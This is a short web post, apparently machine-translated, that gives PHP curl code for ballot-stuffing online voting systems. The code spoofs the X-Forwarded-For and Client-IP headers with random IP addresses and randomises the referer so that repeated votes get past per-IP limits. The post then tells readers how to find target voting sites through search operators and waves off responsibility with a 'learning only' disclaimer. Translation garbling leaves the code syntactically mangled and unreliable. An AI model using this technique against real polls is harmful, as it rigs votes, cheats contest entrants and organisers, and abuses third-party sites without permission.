Voting on many websites is based on IP addresses. Different IP addresses can be voted once a day.
The following code uses curl extension to forge an IP address to achieve unrestricted voting;
$ Times = $ _ post ['times ']; // Number of votes $ url = $ _ post ['url']; // voting Address [link to the voting button below a contestant] While ($ times) {$ IP1 = 'x-forwarded-:'. rand (115,225 ). '. '. rand (115,225 ). '. '. rand (115,225 ). '. '. rand (115,225); $ ip2 = 'client-IP :'. rand (115,225 ). '. '. rand (115,225 ). '. '. rand (115,225 ). '. '. rand (115,225); $ arr = array ('A', 'B', 'C', 'D', 'E', 'F', 'G ', 'H', 'I', 'J', 'k', 'l', 'M', 'n', 'O', 'P', 'Q ', 'R', 's', 't', 'U', 'V', 'w', 'x', 'y', 'z '); $ from = "http: // www. ". $ arr [rand (0, 25)]. ". COM/"; $ CH = curl_init (); curl_setopt ($ ch, curlopt_url, $ URL); curl_setopt ($ ch, curlopt_httpheader, array ($ IP1, $ ip2 )); curl_setopt ($ ch, curlopt_referer, $ from); curl_setopt ($ ch, curlopt_header, 1); curl_exec ($ ch); curl_close ($ ch); $ times --;} return;
Note: most systems are available, mainly because they did not check the real address when detecting the IP address. However, some programmers are cautious in writing code,
If you want to test the Code but cannot find the voting system, enter inurl: vote or inurl: toupiao In the Baidu or Google search box to find a lot,
This article only serves as a learning and communication, and it has nothing to do with all consequences.
Code for online voting system ticket Flushing